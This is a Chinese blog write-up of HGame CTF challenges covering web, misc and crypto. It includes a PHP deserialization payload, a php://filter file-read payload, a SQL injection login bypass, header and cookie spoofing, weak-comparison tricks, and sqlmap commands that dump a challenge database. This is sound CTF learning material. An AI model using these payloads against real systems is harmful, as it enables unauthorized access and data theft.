Back

HGame部分writeup

由于水平有限,就写写自己做出来的题目。

Web

Level - week1

这部分还是比较简单的说

Are you from Europe?

进去一看,呀,竟然是抽SSR,看来我们这种非酋应该是没什么手气了吧。

直接看源代码,发现最后有

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w p(){b a=l("8!k,j 8 o 1 m?");5(!$("#4").7()&&!$("#9").7()){2("i。");f}b 1="";1+="";1+="";1+="";1+="y";1+="{";1+="g";1+="h";1+="3";1+="6";1+="v";1+="h";1+="0";1+="s";1+="e";1+="u";1+="6";1+="0";1+="n";1+="r";1+="!";1+="}";5(a){$("#4").d();$("#9").d();2("t。1: "+1)}q{2("x。")}}',35,35,'|flag|alert||serv5|if|_|html|SSR|craft5|buy|var||remove||return|T||你根本不是欧洲人|你愿意献祭你全部的|欧洲人|confirm|吗||来获取|soHappy|else|E||兑换成功|N|C|function|你失去了唯一的机会|hgame'.split('|'),0,{}))

一看就是js混淆,直接丢去解密

得到

function soHappy() {
    var buy = confirm("SSR!欧洲人,你愿意献祭你全部的 SSR 来获取 flag 吗?");
    if (!$("#serv5").html() && !$("#craft5").html()) {
        alert("你根本不是欧洲人。");
        return
    }
    var flag = "";
    flag += "";
    flag += "";
    flag += "";
    flag += "hgame";
    flag += "{";
    flag += "T";
    flag += "h";
    flag += "3";
    flag += "_";
    flag += "C";
    flag += "h";
    flag += "0";
    flag += "s";
    flag += "e";
    flag += "N";
    flag += "_";
    flag += "0";
    flag += "n";
    flag += "E";
    flag += "!";
    flag += "}";
    if (buy) {
        $("#serv5").remove();
        $("#craft5").remove();
        alert("兑换成功。flag: " + flag)
    } else {
        alert("你失去了唯一的机会。")
    }
}

得到flag

special number

这题一开始我还没做出来233333,果然自己还是太菜了。 题目直接给出代码

include_once("flag.php");
if(isset($_GET['key'])){
    $pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{7,}$/ ';
    $key = $_GET['key'];
    if(preg_match($pattern,$key)===0){
        echo "格式错误";
    }else{
        $lock="******************";
        $b = json_decode($key);
        if($b==$lock)
            echo $flag;
        else
            echo "this is no special number";
    }
}

这题便是一个php弱相等的题,这个正则就是一串数字跟字母 于是便想到了比较经典的0e 试了一下key=0e11111111111,就过了23333.

can u find me?

题目很直接地提示了

only robot know where is the flag

于是robots.txt了解一下

User-agent: *
Disallow: /f1aaaaaaaag.php

这就没什么意思了。。

结果还没完,心里又一高兴

only admin can get flag

看到Cookie

Cookie:user=guest

js修改cookie了解一下,然后拿到flag

tell me what you want

根据提示输入flag

request method is error.I think POST is better

很明显的提示,然后改成POST发包,body为want=flag

得到Response:

https://www.wikiwand.com/en/X-Forwarded-For
only localhost can get flag

在修改请求头X-Forwarded-For127.0.0.1

得到Rep:

<br/>https://www.wikiwand.com/en/User_agent
<br/>please use Icefox/57.0

这个就不能直接修改ua为Icefox/57.0了,得带上普通浏览器的ua,随便拿个firefox的ua进行修改

Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
改成
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Icefox/57.0

得到Rep:

<br/>https://www.wikiwand.com/en/HTTP_referer
<br/>the requests should referer from www.google.com

再改请求头Referer:www.google.com

得到Rep:

<br/>https://www.wikiwand.com/en/HTTP_cookie
<br/>you are not admin

又得来修改cookie了…查看Cookie直接发现有个isadmin=0,那就改成1就好了,最后得到flag

我们不一样

include_once("flag.php");
if(isset($_POST['str1'])&&isset($_POST['str2'])){
    
    if ($_POST['str1']!=$_POST['str2']&&strcmp($_POST['str1'],$_POST['str2'])==0) {
        echo "flag is:".$flag;
        exit();
    } else{
        echo "Something wrong..";
    }
}

一看又是一题php弱相等,考察strcmp,只要其中一个为数组就好

str1=0&str2[]=0

得到flag

Level - week2

Random?

打开地址啥都没有,一开始没什么思路,后来经过大师傅提醒,才注意到题目描述中说了

多random几次没准就随机到一样的值呢 PS:网不好vim线上改代码真是致命

既然是提到了vim改代码,那就可能会有源码泄露,vim的编辑临时文件为.random.php.swp

果然得到一个.swp文件,但是在windows下是看不了的。于是拖到了kali里面用vim恢复原始文件

.swp文件放到随便一个目录下,然后用

$ vim -r random.php

便可直接恢复random.php文件

看到源代码

<?php
error_reporting(0);
include ('flag.php');

class emmm
{
    var $public;
    var $secret;
}

if ($_GET['emmm']) {
    $emmm = unserialize($_GET['emmm']);
        if (!is_object($emmm)) {
        die("error");
    }
    $emmm->public = random_int(0, 100000000);
    $emmm->secret = random_int(0, 100000000);
    if ($emmm->public == $emmm->secret) {
        echo $flag;
    }
}

#highlight_file(__FILE__);

发现还是一个反序列化的题,这题弄了挺久没弄出来,还是参考了一下其他小伙伴的做法

总之按照题目意思,就是得使得emmmpublicsecret相等,那就构造一个实例化对象,让他们的publicsecret相等就好了,注意一下相等时候要有&

$a = new emmm();
$a->public = &$a->secret;
echo serialize($a);

得到payload:

emmm=O:4:"emmm":2:{s:6:"public";N;s:6:"secret";R:2;}

拿到flag

草莓社区-2

不知道是不是题目的问题show_maopian.php?mao=2.jpg竟然不能显示图片…

然后发现竟然可以有/etc/passwd,但是没有拿到/etc/shadow,也就拿不到服务器

题目提示flag在../flag.php,又不能直接访问,那就用php伪协议试试

show_maopian.php?mao=php://filter/read=convert.base64-encode/resource=../flag.php

得到

PD9waHAKCSRmbGFnPSJoZ2FtZXshbTRvX3BpNG5fQ2hhT19oYW9fa2FuIX0iOwo=

解码便得到flag

草莓社区-1

也不知道出题人怎么想的,这题简单得多,但是顺序放在了2下面,这次是show_maopian.php?mao=1.jpgshow_maopian.php?mao=1.jpg都可以读到图片,那就根据题目提示直接试试读一下../flag.php,直接拿到flag…2333

xss-1 & xss-2

接下来的这两个题就没怎么去做了,而且题目要求:payload需要在chrome和firefox上都能使用,且不能有交互。感觉挺难的,就没花时间弄了

记录一下题目以后看看(虽然极有可能不会去看…)

xss-1

function charge(input) {
    input = input.replace(/script/gi, '_');
	input = input.replace(/image/gi, '_');
	input = input.replace(/\(/, '_');

    return '<article>' + input + '</article>';
}

xss-2

function charge(input) { 
    input = input.replace(/script/gi, '_'); 
    input = input.replace(/img/gi, '_'); 
    input = input.replace(/image/gi, '_'); 
    input = input.replace(/\(/, '_');
    input = input.replace(/\>/,'_');
    return '<input value="' + input + '" type="text">'; 
}

最简单的sql题

还真是最简单的…

payload: username=admin%27+or+1%3D1+%23&pwd=1

Level - week3

正常的SQLi

这题我还没做出来,页面显示

因为出题人太懒了,所以现在没有任何功能
hello guest

提示也没那么明显,有判断guest,发现Cookie里有name=Z3Vlc3Q%3D; isadmin=0,那就改改,然后发现没什么用

没什么头绪就扫扫,然后发现有备份.bak文件,下载后发现源码

<?php
.....

$username = base64_decode($_COOKIE['name']);

.....

$sql = "select * from user where username = '{$username}'";
$re = mysqli_query($conn, $sql);
$rs = mysqli_fetch_array($re);

// echo $rs['flag'];
echo $username . '<br/>';
echo "因为出题人太懒了,所以现在没有任何功能";

.....

送分的SQLi

输入admin提示

Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /home/hctfgame/week3/sqli2/index.php on line 8
Unknown column 'admin' in 'where clause'

自己手注还不是很厉害,还是用sqlmap吧23333(sqlmap真是太强大了orz)

既然有了mysql的报错,那就可以省掉判断数据库的步骤了

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql --dbs

available databases [3]:
[*] information_schema
[*] test
[*] week3_sqliiii2

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 --tables

Database: week3_sqliiii2
[2 tables]
+----------+
| f111aa4g |
| users    |
+----------+

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 -T f111aa4g --columns

Database: week3_sqliiii2
Table: f111aa4g
[3 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| dajiangyoude  | char(20) |
| f111aaaggg_w3 | char(40) |
| id            | int(11)  |
+---------------+----------+

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 -T f111aa4g -C "dajiangyoude,f111aaaggg_w3,id" --dump

Database: week3_sqliiii2
Table: f111aa4g
[1 entry]
+---------------+-----------------------------------+-------+
| dajiangyoude  | f111aaaggg_w3                     | id    |
+---------------+-----------------------------------+-------+
| kan_wo_gan_ma | hgame{Th3_e4sist_sql_injeCti0n##} | 10086 |
+---------------+-----------------------------------+-------+

拿到flag

Misc

Level - week1

白菜1

题目提示LSB,那就去看看吧

根据CTF wiki的提示操作得到flag

白菜2

$ binwalk misc2.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
1037199       0xFD38F         Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 39, name: flag.txt
1037368       0xFD438         End of Zip archive

发现有zip

$ dd if=misc2.jpg of=misc2.rar bs=1 skip=1037199

直接dd提出rar得到里面的flag

pacp1

看到最后有一个GET /flag.php的请求。

Alt text
Alt text
追踪一下即可得到flag

Crypto

Level - week1

easy Caesar

vuoas{Hvs_ei8qy_pf7kb_1l_xIadg_cjSf_o_Zo9m_rCu}

凯撒加密。没什么好说的

Hill

Not hard key:9 17 6 5 Ciphertext:phnfetzhzzwz 

懒得解了…

Polybius

FDXDGDADDG_FXXFAAXFAG_GDFXFFXFFXADXFDA_GDAD

根据题目,感觉像是ADFGVX密码。

orjtz_nebel_jnsented_jt

confusion

--/.-./.-../-/-.-/-..../-.-/-..-/-./...-/--../-..-/--.-/.--/-.../.../-./.-/..---/..-./.../..-/..---/--./--./-.../.../.--/....-/...../-.../.../.-../.-/--../..-./..-/-..../.../...-/.---/-.../-./-../.-/--../.../.-./..../..-/-..../--.-/-...-/-...-/-...-/-...-

摩斯电码,解得

MRLTK6KXNVZXQWBSNA2FSU2GGBSW45BSLAZFU6SVJBNDAZSRHU6Q====

base32再解得

dW5yWmsxX2h4YSF0ent2X2ZzUHZ0fQ==

base64再解得

unrZk1_hxa!tz{v_fsPvt}

rot13再解得

haeMx1_ukn!gm{i_sfCig}

最后用栅栏解得到flag

baby step

pow(0x1111111111,flag,0x976693344d) = 0x7ac21f64ed
结果转换成5字节可见字符
Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy